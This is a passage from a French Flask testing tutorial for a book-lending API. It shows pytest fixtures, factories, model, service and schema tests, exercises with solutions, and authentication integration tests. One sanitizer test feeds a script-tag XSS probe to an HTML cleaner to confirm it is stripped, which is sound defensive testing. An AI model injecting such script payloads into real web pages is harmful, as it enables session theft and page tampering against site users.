      with app.test_client() as c:
          with app.app_context():
              yield c

  @pytest.fixture(scope='function')
  def runner(app):
      """CLI test runner pour tester les commandes Flask."""
      return app.test_cli_runner()

  # ────────────────────────────────────────
  # FIXTURES DE DONNÉES (FACTORIES)
  # ────────────────────────────────────────

  @pytest.fixture
  def utilisateur_data():
      """Données valides pour créer un utilisateur."""
      return {
          'nom': 'Test User',
          'email': 'test@bookflow.com',
          'mot_de_passe': 'TestPass123!'
      }

  @pytest.fixture
  def admin_data():
      return {
          'nom': 'Admin Test',
          'email': 'admin@bookflow.com',
          'mot_de_passe': 'AdminPass123!'
      }

  @pytest.fixture
  def livre_data():
      return {
          'titre': 'Livre Test',
          'auteur': 'Auteur Test',
          'pages': 200,
          'genre': 'science-fiction',
          'isbn': '9781234567890',
          'prix': 9.99,
          'disponible': True
      }

  @pytest.fixture
  def utilisateur(db_session, app):
      """Crée un utilisateur en BDD pour les tests."""
      with app.app_context():
          user = Utilisateur(
              nom='Test User',
              email='user@test.com',
              role='user',
              est_actif=True,
              est_verifie=True
          )
          user.set_password('TestPass123!')
          db_session.add(user)
          db_session.flush()
          return user

  @pytest.fixture
  def admin(db_session, app):
      """Crée un administrateur en BDD pour les tests."""
      with app.app_context():
          admin = Utilisateur(
              nom='Admin Test',
              email='admin@test.com',
              role='admin',
              est_actif=True,
              est_verifie=True
          )
          admin.set_password('AdminPass123!')
          db_session.add(admin)
          db_session.flush()
          return admin

  @pytest.fixture
  def livre(db_session, app):
      """Crée un livre en BDD pour les tests."""
      with app.app_context():
          l = Livre(
              titre='Dune',
              auteur='Frank Herbert',
              pages=900,
              genre='science-fiction',
              isbn='9780441013593',
              prix=9.99,
              disponible=True
          )
          db_session.add(l)
          db_session.flush()
          return l

  @pytest.fixture
  def livres_multiples(db_session, app):
      """Crée plusieurs livres pour tester la pagination."""
      with app.app_context():
          livres = []
          genres = ['science-fiction', 'fantasy', 'dystopie']
          for i in range(15):
              l = Livre(
                  titre=f'Livre {i+1}',
                  auteur=f'Auteur {i+1}',
                  pages=100 + i * 10,
                  genre=genres[i % 3],
                  disponible=(i % 2 == 0)
              )
              db_session.add(l)
              livres.append(l)
          db_session.flush()
          return livres

  # ────────────────────────────────────────
  # FIXTURES DE TOKENS JWT
  # ────────────────────────────────────────

  @pytest.fixture
  def token_user(app, utilisateur):
      """Génère un JWT valide pour l'utilisateur de test."""
      with app.app_context():
          from app.utils.jwt_utils import generer_tokens
          tokens = generer_tokens(utilisateur)
          return tokens['access_token']

  @pytest.fixture
  def token_admin(app, admin):
      """Génère un JWT valide pour l'admin de test."""
      with app.app_context():
          from app.utils.jwt_utils import generer_tokens
          tokens = generer_tokens(admin)
          return tokens['access_token']

  @pytest.fixture
  def headers_auth(token_user):
      """Headers HTTP avec token d'authentification."""
      return {
          'Authorization': f'Bearer {token_user}',
          'Content-Type': 'application/json'
      }

  @pytest.fixture
  def headers_admin(token_admin):
      """Headers HTTP avec token d'admin."""
      return {
          'Authorization': f'Bearer {token_admin}',
          'Content-Type': 'application/json'
      }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  FACTORY BOY — FACTORIES DE DONNÉES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Factory Boy permet de créer des objets de test de manière déclarative.

  # tests/factories.py
  import factory
  from factory.alchemy import SQLAlchemyModelFactory
  from faker import Faker
  from app.extensions import db
  from app.models import Utilisateur, Livre, Emprunt, Avis

  fake = Faker('fr_FR')  # Données en français

  class UtilisateurFactory(SQLAlchemyModelFactory):
      """Factory pour créer des utilisateurs de test."""

      class Meta:
          model = Utilisateur
          sqlalchemy_session = db.session
          sqlalchemy_session_persistence = 'flush'

      nom        = factory.LazyFunction(fake.name)
      email      = factory.LazyFunction(fake.email)
      role       = 'user'
      est_actif  = True
      est_verifie = True

      # Mot de passe hashé généré automatiquement
      @factory.post_generation
      def mot_de_passe(self, create, extracted, **kwargs):
          mdp = extracted or 'TestPass123!'
          self.set_password(mdp)

  class AdminFactory(UtilisateurFactory):
      """Factory pour créer des admins."""
      nom   = factory.LazyFunction(lambda: f'Admin {fake.last_name()}')
      email = factory.LazyAttribute(lambda o: f'admin.{fake.user_name()}@test.com')
      role  = 'admin'

  class LivreFactory(SQLAlchemyModelFactory):
      class Meta:
          model = Livre
          sqlalchemy_session = db.session
          sqlalchemy_session_persistence = 'flush'

      titre       = factory.LazyFunction(lambda: fake.sentence(nb_words=3).rstrip('.'))
      auteur      = factory.LazyFunction(fake.name)
      pages       = factory.LazyFunction(lambda: fake.random_int(min=50, max=1200))
      genre       = factory.LazyFunction(
          lambda: fake.random_element(['science-fiction', 'fantasy', 'dystopie', 'autre'])
      )
      prix        = factory.LazyFunction(lambda: round(fake.random.uniform(5, 25), 2))
      disponible  = True
      isbn        = factory.LazyFunction(
          lambda: ''.join([str(fake.random_digit()) for _ in range(13)])
      )

  class LivreIndisponibleFactory(LivreFactory):
      """Factory pour livres déjà empruntés."""
      disponible = False

  class EmpruntFactory(SQLAlchemyModelFactory):
      class Meta:
          model = Emprunt
          sqlalchemy_session = db.session
          sqlalchemy_session_persistence = 'flush'

      user_id            = factory.SubFactory(UtilisateurFactory)
      livre_id           = factory.SubFactory(LivreFactory)
      date_debut         = factory.LazyFunction(
          lambda: __import__('datetime').datetime.now(__import__('datetime').timezone.utc)
      )
      date_retour_prevue = factory.LazyFunction(
          lambda: __import__('datetime').datetime.now(
              __import__('datetime').timezone.utc
          ) + __import__('datetime').timedelta(days=14)
      )
      statut = 'en_cours'

  class AvisFactory(SQLAlchemyModelFactory):
      class Meta:
          model = Avis
          sqlalchemy_session = db.session
          sqlalchemy_session_persistence = 'flush'

      user_id     = factory.SubFactory(UtilisateurFactory)
      livre_id    = factory.SubFactory(LivreFactory)
      note        = factory.LazyFunction(lambda: fake.random_int(min=1, max=5))
      commentaire = factory.LazyFunction(lambda: fake.paragraph(nb_sentences=2))

  # UTILISATION DANS LES TESTS :
  # user = UtilisateurFactory()                  # Un user avec données aléatoires
  # admin = AdminFactory()                        # Un admin
  # livre = LivreFactory(titre='Dune')            # Livre avec titre fixe
  # livres = LivreFactory.create_batch(10)        # 10 livres d'un coup
  # emprunt = EmpruntFactory(user_id=user.id)     # Emprunt pour un user donné

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  TESTS UNITAIRES DES MODÈLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/unit/test_models.py
  import pytest
  from datetime import datetime, timezone, timedelta
  from app.models import Utilisateur, Livre, Emprunt

  class TestUtilisateur:
      """Tests unitaires du modèle Utilisateur."""

      def test_creer_utilisateur(self, db_session, app):
          """Test la création basique d'un utilisateur."""
          with app.app_context():
              user = Utilisateur(
                  nom='Momo Traoré',
                  email='momo@test.com',
                  role='user',
                  est_actif=True
              )
              user.set_password('MonMdp123!')
              db_session.add(user)
              db_session.flush()

              assert user.id is not None
              assert user.nom == 'Momo Traoré'
              assert user.email == 'momo@test.com'
              assert user.role == 'user'
              assert user.est_actif is True

      def test_hash_mot_de_passe(self, db_session, app):
          """Le mot de passe est bien haché, jamais stocké en clair."""
          with app.app_context():
              user = Utilisateur(nom='Test', email='t@t.com')
              user.set_password('MonMdpSecret123!')

              # Le hash ne contient pas le mot de passe original
              assert 'MonMdpSecret123!' not in user.mot_de_passe_hash
              # Le hash commence par $2b$ (signature bcrypt)
              assert user.mot_de_passe_hash.startswith('$2b$')
              # Le hash fait 60 caractères
              assert len(user.mot_de_passe_hash) == 60

      def test_verification_mot_de_passe_correct(self, db_session, app):
          """check_password retourne True pour le bon mot de passe."""
          with app.app_context():
              user = Utilisateur(nom='Test', email='t@t.com')
              user.set_password('MonMdp123!')
              assert user.check_password('MonMdp123!') is True

      def test_verification_mot_de_passe_incorrect(self, db_session, app):
          """check_password retourne False pour un mauvais mot de passe."""
          with app.app_context():
              user = Utilisateur(nom='Test', email='t@t.com')
              user.set_password('MonMdp123!')
              assert user.check_password('mauvaismdp') is False
              assert user.check_password('') is False
              assert user.check_password('MonMdp123') is False  # Sans !

      def test_est_admin(self, db_session, app):
          """est_admin retourne True seulement pour les admins."""
          with app.app_context():
              user  = Utilisateur(nom='User',  email='u@t.com', role='user')
              admin = Utilisateur(nom='Admin', email='a@t.com', role='admin')
              assert user.est_admin is False
              assert admin.est_admin is True

      def test_to_dict_ne_contient_pas_mdp(self, db_session, app):
          """to_dict ne doit JAMAIS exposer le hash du mot de passe."""
          with app.app_context():
              user = Utilisateur(nom='Test', email='t@t.com')
              user.set_password('MonMdp123!')
              data = user.to_dict()

              assert 'mot_de_passe_hash' not in data
              assert 'mot_de_passe' not in data
              assert 'id' in data
              assert 'nom' in data
              assert 'email' in data

      def test_emails_normalises_en_minuscules(self, db_session, app):
          """Les emails doivent être normalisés en minuscules."""
          with app.app_context():
              # Le modèle doit normaliser l'email (vérifier dans le service ou schéma)
              from app.services.auth_service import AuthService
              service = AuthService()
              user = service.register({
                  'nom': 'Test',
                  'email': 'TEST@BOOKFLOW.COM',
                  'mot_de_passe': 'TestPass123!'
              })
              assert user.email == 'test@bookflow.com'

  class TestLivre:
      """Tests unitaires du modèle Livre."""

      def test_creer_livre_minimal(self, db_session, app):
          """Créer un livre avec uniquement les champs obligatoires."""
          with app.app_context():
              livre = Livre(titre='Dune', auteur='Herbert')
              db_session.add(livre)
              db_session.flush()

              assert livre.id is not None
              assert livre.titre == 'Dune'
              assert livre.auteur == 'Herbert'
              assert livre.disponible is True    # Valeur par défaut
              assert livre.pages == 0            # Valeur par défaut

      def test_livre_disponible_par_defaut(self, db_session, app):
          """Un nouveau livre est disponible par défaut."""
          with app.app_context():
              livre = Livre(titre='Test', auteur='Test')
              assert livre.disponible is True

      def test_to_dict_structure(self, db_session, app, livre):
          """to_dict retourne tous les champs attendus."""
          with app.app_context():
              data = livre.to_dict()
              champs_attendus = {
                  'id', 'titre', 'auteur', 'isbn', 'pages',
                  'genre', 'disponible', 'created_at'
              }
              assert champs_attendus.issubset(data.keys())

      def test_soft_delete(self, db_session, app, livre):
          """Soft delete marque le livre comme supprimé."""
          with app.app_context():
              assert livre.est_supprime is False
              livre.supprimer_soft(user_id=1, raison='Test')
              assert livre.est_supprime is True
              assert livre.supprime_le is not None

      def test_restaurer_livre(self, db_session, app, livre):
          """restaurer() remet le livre actif."""
          with app.app_context():
              livre.supprimer_soft(user_id=1)
              livre.restaurer()
              assert livre.est_supprime is False
              assert livre.supprime_le is None

  class TestEmprunt:
      """Tests unitaires du modèle Emprunt."""

      def test_est_en_retard_si_date_depassee(self, db_session, app, utilisateur, livre):
          """Un emprunt est en retard si date_retour_prevue est dépassée."""
          with app.app_context():
              maintenant = datetime.now(timezone.utc)
              emprunt = Emprunt(
                  user_id=utilisateur.id,
                  livre_id=livre.id,
                  date_debut=maintenant - timedelta(days=20),
                  date_retour_prevue=maintenant - timedelta(days=5),  # PASSÉ
                  statut='en_cours'
              )
              assert emprunt.est_en_retard is True

      def test_non_en_retard_si_futur(self, db_session, app, utilisateur, livre):
          """Un emprunt n'est pas en retard si date_retour_prevue est dans le futur."""
          with app.app_context():
              maintenant = datetime.now(timezone.utc)
              emprunt = Emprunt(
                  user_id=utilisateur.id,
                  livre_id=livre.id,
                  date_debut=maintenant,
                  date_retour_prevue=maintenant + timedelta(days=14),
                  statut='en_cours'
              )
              assert emprunt.est_en_retard is False

      def test_jours_restants(self, db_session, app, utilisateur, livre):
          """jours_restants retourne le bon nombre de jours."""
          with app.app_context():
              maintenant = datetime.now(timezone.utc)
              emprunt = Emprunt(
                  user_id=utilisateur.id,
                  livre_id=livre.id,
                  date_debut=maintenant,
                  date_retour_prevue=maintenant + timedelta(days=7),
                  statut='en_cours'
              )
              # Devrait être proche de 7 (peut varier de quelques secondes)
              assert 6 <= emprunt.jours_restants <= 7

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  TESTS UNITAIRES DES SERVICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/unit/test_services.py
  import pytest
  from unittest.mock import MagicMock, patch
  from app.services.livre_service import LivreService
  from app.errors import ValidationError, ConflitError

  class TestLivreService:
      """Tests unitaires du service LivreService."""

      def setup_method(self):
          """Initialise les mocks avant chaque test."""
          self.service = LivreService()

      def test_creer_livre_valide(self, db_session, app):
          """Créer un livre avec des données valides."""
          with app.app_context():
              data = {
                  'titre': 'Dune',
                  'auteur': 'Frank Herbert',
                  'pages': 900,
                  'genre': 'science-fiction'
              }
              livre = self.service.creer_livre(data)
              assert livre.id is not None
              assert livre.titre == 'Dune'
              assert livre.auteur == 'Frank Herbert'

      def test_creer_livre_sans_titre_leve_erreur(self, db_session, app):
          """creer_livre lève ValueError si titre manquant."""
          with app.app_context():
              with pytest.raises(ValueError, match='titre'):
                  self.service.creer_livre({'auteur': 'Herbert'})

      def test_creer_livre_sans_auteur_leve_erreur(self, db_session, app):
          """creer_livre lève ValueError si auteur manquant."""
          with app.app_context():
              with pytest.raises(ValueError, match='auteur'):
                  self.service.creer_livre({'titre': 'Dune'})

      def test_creer_livre_titre_trop_long(self, db_session, app):
          """Titre de plus de 200 caractères -> ValueError."""
          with app.app_context():
              data = {
                  'titre': 'A' * 201,
                  'auteur': 'Test'
              }
              with pytest.raises(ValueError, match='200'):
                  self.service.creer_livre(data)

      def test_creer_livre_pages_negatives(self, db_session, app):
          """Pages négatives -> ValueError."""
          with app.app_context():
              with pytest.raises(ValueError, match='pages'):
                  self.service.creer_livre({
                      'titre': 'Test',
                      'auteur': 'Test',
                      'pages': -1
                  })

      def test_creer_livre_isbn_duplique(self, db_session, app, livre):
          """ISBN déjà utilisé -> ConflitError."""
          with app.app_context():
              with pytest.raises(ConflitError, match='ISBN'):
                  self.service.creer_livre({
                      'titre': 'Autre Livre',
                      'auteur': 'Autre Auteur',
                      'isbn': livre.isbn  # Même ISBN
                  })

      def test_creer_livre_titre_auteur_dupliques(self, db_session, app, livre):
          """Titre + auteur déjà existant -> ConflitError."""
          with app.app_context():
              with pytest.raises(ConflitError):
                  self.service.creer_livre({
                      'titre': livre.titre,
                      'auteur': livre.auteur
                  })

      def test_genre_invalide_utilise_defaut(self, db_session, app):
          """Genre invalide -> utilise 'autre' comme valeur par défaut."""
          with app.app_context():
              livre = self.service.creer_livre({
                  'titre': 'Test Genre',
                  'auteur': 'Test',
                  'genre': 'genre-inexistant-xyz'
              })
              assert livre.genre == 'autre'

      def test_nettoyage_espaces_titre(self, db_session, app):
          """Les espaces en début/fin de titre sont nettoyés."""
          with app.app_context():
              livre = self.service.creer_livre({
                  'titre': '  Dune  ',
                  'auteur': '  Herbert  '
              })
              assert livre.titre == 'Dune'
              assert livre.auteur == 'Herbert'

  class TestUtilUtils:
      """Tests unitaires des fonctions utilitaires."""

      def test_hash_mdp(self):
          """HashMdp hache et vérifie correctement."""
          from app.utils.hash import HashMdp
          mdp = 'MonMdpTest123!'
          hash_val = HashMdp.hacher(mdp)

          assert hash_val != mdp                    # Hash ≠ original
          assert hash_val.startswith('$2b$')        # Signature bcrypt
          assert HashMdp.verifier(mdp, hash_val)    # Vérification OK
          assert not HashMdp.verifier('mauvais', hash_val)  # Mauvais MDP

      def test_hash_unique_par_appel(self):
          """Deux hachages du même mot de passe sont différents (sel aléatoire)."""
          from app.utils.hash import HashMdp
          mdp = 'TestPass123!'
          hash1 = HashMdp.hacher(mdp)
          hash2 = HashMdp.hacher(mdp)

          assert hash1 != hash2  # Sels différents -> hashes différents
          assert HashMdp.verifier(mdp, hash1)
          assert HashMdp.verifier(mdp, hash2)

      def test_nettoyer_html_supprime_scripts(self):
          """nettoyer_html supprime les balises script."""
          from app.utils.validators import nettoyer_html
          contenu = "Normal <script>alert('xss')</script> texte"
          propre = nettoyer_html(contenu)
          assert '<script>' not in propre
          assert 'Normal' in propre
          assert 'texte' in propre

      def test_nettoyer_html_garde_html_valide(self):
          """nettoyer_html conserve les balises autorisées."""
          from app.utils.validators import nettoyer_html
          contenu = "Texte <b>gras</b> et <em>italique</em>"
          propre = nettoyer_html(contenu)
          assert '<b>gras</b>' in propre
          assert '<em>italique</em>' in propre

      def test_assainir_chaine_longueur(self):
          """assainir_chaine tronque au-delà de la limite."""
          from app.utils.validators import assainir_chaine
          longue = 'A' * 300
          courte = assainir_chaine(longue, max_longueur=100)
          assert len(courte) == 100

      def test_decoder_jwt_manuel(self, app):
          """Décoder manuellement un JWT."""
          with app.app_context():
              from app.utils.jwt_utils import generer_tokens
              from app.models import Utilisateur
              import json, base64

              user = Utilisateur(id=99, nom='Test', email='t@t.com', role='user')
              tokens = generer_tokens(user)
              token = tokens['access_token']

              parties = token.split('.')
              assert len(parties) == 3

              # Décoder le payload
              payload_b64 = parties[1] + '==' * (4 - len(parties[1]) % 4 or 4)
              payload_b64 = payload_b64.replace('-', '+').replace('_', '/')
              payload = json.loads(base64.b64decode(payload_b64))

              assert payload.get('sub') == '99'
              assert payload.get('role') == 'user'
              assert 'exp' in payload
              assert 'iat' in payload

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  MOCKS ET PATCHES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les mocks remplacent des dépendances externes (emails, APIs, services tiers).

  # tests/unit/test_services_avec_mocks.py
  import pytest
  from unittest.mock import patch, MagicMock, call

  class TestAuthServiceAvecMocks:
      """Tests du service Auth avec mocks pour les dépendances externes."""

      @patch('app.services.auth_service.envoyer_email')
      def test_register_envoie_email_bienvenue(self, mock_email, db_session, app):
          """L'inscription doit envoyer un email de bienvenue."""
          with app.app_context():
              from app.services.auth_service import AuthService
              service = AuthService()

              user = service.register({
                  'nom': 'Test',
                  'email': 'nouveau@test.com',
                  'mot_de_passe': 'TestPass123!'
              })

              # Vérifier que l'email a été appelé une fois
              mock_email.assert_called_once()

              # Vérifier les arguments de l'appel
              args = mock_email.call_args
              assert 'nouveau@test.com' in str(args)

      @patch('app.services.auth_service.envoyer_email')
      def test_reset_mdp_envoie_email(self, mock_email, db_session, app, utilisateur):
          """La demande de reset doit envoyer un email."""
          with app.app_context():
              from app.services.auth_service import AuthService
              service = AuthService()
              service.demander_reset_mdp(utilisateur.email)
              mock_email.assert_called_once()

      @patch('app.services.auth_service.envoyer_email')
      def test_reset_email_inconnu_ne_leve_pas_erreur(self, mock_email, db_session, app):
          """Un email inconnu ne doit pas lever d'erreur (anti-énumération)."""
          with app.app_context():
              from app.services.auth_service import AuthService
              service = AuthService()
              # Ne doit pas lever d'exception
              service.demander_reset_mdp('inexistant@test.com')
              # Et ne doit pas envoyer d'email
              mock_email.assert_not_called()

  class TestCacheAvecMocks:
      """Tests avec mock du cache."""

      def test_statistiques_mises_en_cache(self, app):
          """Les statistiques doivent être mises en cache."""
          with app.app_context():
              with patch('app.extensions.cache.get') as mock_get, \
                   patch('app.extensions.cache.set') as mock_set:

                  mock_get.return_value = None  # Cache vide
                  from app.repositories.livre_repository import LivreRepository
                  LivreRepository.statistiques()

                  # Vérifie que le cache a été utilisé
                  mock_get.assert_called()

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  TESTS DES SCHÉMAS MARSHMALLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/unit/test_schemas.py
  import pytest
  from marshmallow import ValidationError

  class TestLivreSchema:
      """Tests du schéma de validation des livres."""

      def setup_method(self):
          from app.schemas import LivreSchema
          self.schema = LivreSchema()

      def test_valider_donnees_valides(self):
          """Des données valides passent sans erreur."""
          data = {'titre': 'Dune', 'auteur': 'Frank Herbert', 'pages': 900}
          resultat = self.schema.load(data)
          assert resultat.titre == 'Dune'

      def test_titre_obligatoire(self):
          """Le titre est obligatoire."""
          with pytest.raises(ValidationError) as exc:
              self.schema.load({'auteur': 'Herbert'})
          assert 'titre' in exc.value.messages

      def test_pages_doit_etre_positif(self):
          """Les pages doivent être positives."""
          with pytest.raises(ValidationError) as exc:
              self.schema.load({'titre': 'T', 'auteur': 'A', 'pages': -5})
          assert 'pages' in exc.value.messages

      def test_genre_invalide(self):
          """Un genre non reconnu lève une erreur."""
          with pytest.raises(ValidationError) as exc:
              self.schema.load({'titre': 'T', 'auteur': 'A', 'genre': 'genre-xyz'})
          assert 'genre' in exc.value.messages

      def test_isbn_format_invalide(self):
          """ISBN avec mauvais format -> erreur."""
          with pytest.raises(ValidationError) as exc:
              self.schema.load({'titre': 'T', 'auteur': 'A', 'isbn': '123'})
          assert 'isbn' in exc.value.messages

      def test_isbn_13_chiffres_valides(self):
          """ISBN de 13 chiffres valide."""
          data = {'titre': 'T', 'auteur': 'A', 'isbn': '9780441013593'}
          resultat = self.schema.load(data)
          assert resultat.isbn == '9780441013593'

      def test_serialisation_ne_contient_pas_mdp(self):
          """La sérialisation ne doit pas exposer le mot de passe."""
          from app.schemas import UtilisateurSchema
          from app.models import Utilisateur
          schema = UtilisateurSchema()
          user = Utilisateur(nom='Test', email='t@t.com')
          user.set_password('secret')
          data = schema.dump(user)
          assert 'mot_de_passe_hash' not in data
          assert 'mot_de_passe' not in data

      def test_partial_load_ne_requiert_pas_titre(self):
          """partial=True permet de ne pas fournir le titre (PATCH)."""
          data = {'pages': 500}
          resultat = self.schema.load(data, partial=True)
          # Pas d'erreur car partial=True

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  9⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 39.1 : Installe pytest et crée conftest.py avec les fixtures
    app, db_session et client. Lance pytest et vérifie que les fixtures fonctionnent.

  Exercice 39.2 : Écris 5 tests unitaires pour le modèle Utilisateur :
    - Création basique
    - Hash du mot de passe
    - Vérification correcte/incorrecte
    - est_admin
    - to_dict ne contient pas le hash

  Exercice 39.3 : Écris 3 tests pour HashMdp :
    - Hacher produit un hash bcrypt valide
    - Deux hachages sont différents (sel aléatoire)
    - Vérifier avec le mauvais mdp retourne False

NIVEAU INTERMÉDIAIRE :
  Exercice 39.4 : Crée des factories avec Factory Boy pour
    Utilisateur, Livre et Emprunt. Utilise-les dans 3 tests différents.

  Exercice 39.5 : Écris les tests du LivreService :
    - Création valide
    - Titre manquant -> ValueError
    - ISBN dupliqué -> ConflitError
    - Genre invalide -> 'autre'
    - Mock l'envoi d'email (si configuré)

NIVEAU AVANCÉ :
  Exercice 39.6 : Atteins 80% de couverture de code sur app/services/.
    Lance : pytest --cov=app/services --cov-report=html
    Identifie les branches non couvertes et ajoute les tests manquants.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 39.2 — Tests modèle Utilisateur :

  # tests/unit/test_utilisateur.py
  import pytest
  from app.models import Utilisateur

  class TestUtilisateur:
      def test_creation_basique(self, db_session, app):
          with app.app_context():
              user = Utilisateur(nom='Alice', email='alice@test.com', role='user', est_actif=True)
              db_session.add(user)
              db_session.flush()
              assert user.id is not None
              assert user.nom == 'Alice'
              assert user.role == 'user'

      def test_hash_mot_de_passe(self, app):
          with app.app_context():
              user = Utilisateur(nom='Test', email='t@t.com')
              user.set_password('Secret123!')
              assert user.mot_de_passe_hash.startswith('$2b$')
              assert 'Secret123!' not in user.mot_de_passe_hash

      def test_verification_correct(self, app):
          with app.app_context():
              user = Utilisateur(nom='T', email='t@t.com')
              user.set_password('Secret123!')
              assert user.check_password('Secret123!') is True

      def test_verification_incorrect(self, app):
          with app.app_context():
              user = Utilisateur(nom='T', email='t@t.com')
              user.set_password('Secret123!')
              assert user.check_password('mauvais') is False

      def test_est_admin(self, app):
          with app.app_context():
              user  = Utilisateur(nom='U', email='u@t.com', role='user')
              admin = Utilisateur(nom='A', email='a@t.com', role='admin')
              assert user.est_admin is False
              assert admin.est_admin is True

      def test_to_dict_sans_hash(self, app):
          with app.app_context():
              user = Utilisateur(nom='T', email='t@t.com')
              user.set_password('pass')
              d = user.to_dict()
              assert 'mot_de_passe_hash' not in d
              assert 'id' in d and 'email' in d


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 40 — TESTS D'INTÉGRATION ET TESTS API                      ║
║         Tester les routes HTTP avec le client de test Flask                       ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  TESTS D'INTÉGRATION DES ROUTES AUTH
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/integration/test_auth.py
  import pytest
  import json

  class TestRegister:
      """Tests d'intégration pour POST /api/v1/auth/register."""

      def test_inscription_valide(self, client):
          """Inscription avec des données valides -> 201."""
          response = client.post(
              '/api/v1/auth/register',
              json={
                  'nom': 'Nouveau User',
                  'email': 'nouveau@test.com',
                  'mot_de_passe': 'TestPass123!'
              }
          )
          assert response.status_code == 201
          data = response.get_json()
          assert data['success'] is True
          assert 'id' in data['data']
          assert data['data']['email'] == 'nouveau@test.com'
          # Le mot de passe ne doit JAMAIS être dans la réponse
          assert 'mot_de_passe' not in str(data)
          assert 'hash' not in str(data)

      def test_inscription_email_duplique(self, client, utilisateur):
          """Email déjà existant -> 409."""
          response = client.post(
              '/api/v1/auth/register',
              json={
                  'nom': 'Autre User',
                  'email': utilisateur.email,  # Email déjà pris
                  'mot_de_passe': 'TestPass123!'
              }
          )
          assert response.status_code == 409

      def test_inscription_email_invalide(self, client):
          """Email invalide -> 400."""
          response = client.post(
              '/api/v1/auth/register',
              json={
                  'nom': 'Test',
                  'email': 'email-invalide',
                  'mot_de_passe': 'TestPass123!'
              }
          )
          assert response.status_code == 400
          data = response.get_json()
          assert 'email' in str(data).lower()

      def test_inscription_mdp_trop_court(self, client):
          """Mot de passe trop court -> 400."""
          response = client.post(
              '/api/v1/auth/register',
              json={
                  'nom': 'Test',
                  'email': 'test@test.com',
                  'mot_de_passe': '123'    # Trop court
              }
          )
          assert response.status_code == 400

      def test_inscription_sans_json(self, client):
          """Requête sans Content-Type JSON -> 400."""
          response = client.post(
              '/api/v1/auth/register',
              data='nom=Test&email=t@t.com',
              content_type='application/x-www-form-urlencoded'
          )
          assert response.status_code == 400

      def test_inscription_champs_manquants(self, client):
          """Champs obligatoires manquants -> 400 avec détails."""
          response = client.post(
              '/api/v1/auth/register',
              json={}  # Body vide
          )
          assert response.status_code == 400
          data = response.get_json()
          # Doit indiquer quels champs manquent
          assert 'details' in data or 'error' in data

  class TestLogin:
      """Tests d'intégration pour POST /api/v1/auth/login."""

      def test_login_valide(self, client, utilisateur):
          """Login avec bons identifiants -> 200 + tokens."""
          response = client.post(
              '/api/v1/auth/login',
              json={
                  'email': utilisateur.email,
                  'mot_de_passe': 'TestPass123!'  # Correspondant à la fixture
              }
          )
          assert response.status_code == 200
          data = response.get_json()
          assert data['success'] is True
          assert 'access_token' in data['data']
          assert 'refresh_token' in data['data']
          assert 'user' in data['data']
          assert 'token_type' in data['data']
          assert data['data']['token_type'] == 'Bearer'

      def test_login_email_inexistant(self, client):
          """Email inexistant -> 401 (même message que mauvais mdp)."""
          response = client.post(
              '/api/v1/auth/login',
              json={
                  'email': 'inexistant@test.com',
                  'mot_de_passe': 'TestPass123!'
              }
          )
          assert response.status_code == 401

      def test_login_mauvais_mdp(self, client, utilisateur):
          """Mauvais mot de passe -> 401."""
          response = client.post(
              '/api/v1/auth/login',
              json={
                  'email': utilisateur.email,
                  'mot_de_passe': 'mauvaismdp'
              }
          )
          assert response.status_code == 401

      def test_login_message_erreur_identique(self, client, utilisateur):
          """
          SÉCURITÉ : Le message d'erreur doit être IDENTIQUE
          pour email inexistant ET mauvais mot de passe.
          (Evite l'énumération d'emails)
          """
          resp1 = client.post('/api/v1/auth/login', json={
              'email': 'inexistant@test.com', 'mot_de_passe': 'pass'
          })
          resp2 = client.post('/api/v1/auth/login', json={
              'email': utilisateur.email, 'mot_de_passe': 'mauvais'
          })
          msg1 = resp1.get_json().get('error', '')
          msg2 = resp2.get_json().get('error', '')
          assert msg1 == msg2

      def test_login_compte_desactive(self, client, db_session, app):
          """Compte désactivé -> 403."""
          with app.app_context():
              from app.models import Utilisateur
              user = Utilisateur(
                  nom='Désactivé', email='desactive@test.com',
                  role='user', est_actif=False  # Compte désactivé
              )
              user.set_password('TestPass123!')
              db_session.add(user)
              db_session.flush()

          response = client.post(
              '/api/v1/auth/login',
              json={'email': 'desactive@test.com', 'mot_de_passe': 'TestPass123!'}
          )
          assert response.status_code == 403

  class TestLogout:
      """Tests d'intégration pour POST /api/v1/auth/logout."""

      def test_logout_valide(self, client, headers_auth):
          """Logout avec token valide -> 200."""
          response = client.post(
              '/api/v1/auth/logout',
              headers=headers_auth
          )
          assert response.status_code == 200

      def test_token_revoque_apres_logout(self, client, headers_auth):
          """Le token ne doit plus être utilisable après logout."""
          # D'abord se déconnecter
          client.post('/api/v1/auth/logout', headers=headers_auth)

          # Puis essayer d'utiliser le même token
          response = client.get('/api/v1/auth/me', headers=headers_auth)
          assert response.status_code == 401

      def test_logout_sans_token(self, client):
          """Logout sans token -> 401."""
          response = client.post('/api/v1/auth/logout')
          assert response.status_code == 401


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  TESTS D'INTÉGRATION DES ROUTES LIVRES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # tests/integration/test_livres.py
  import pytest

  class TestGetLivres:
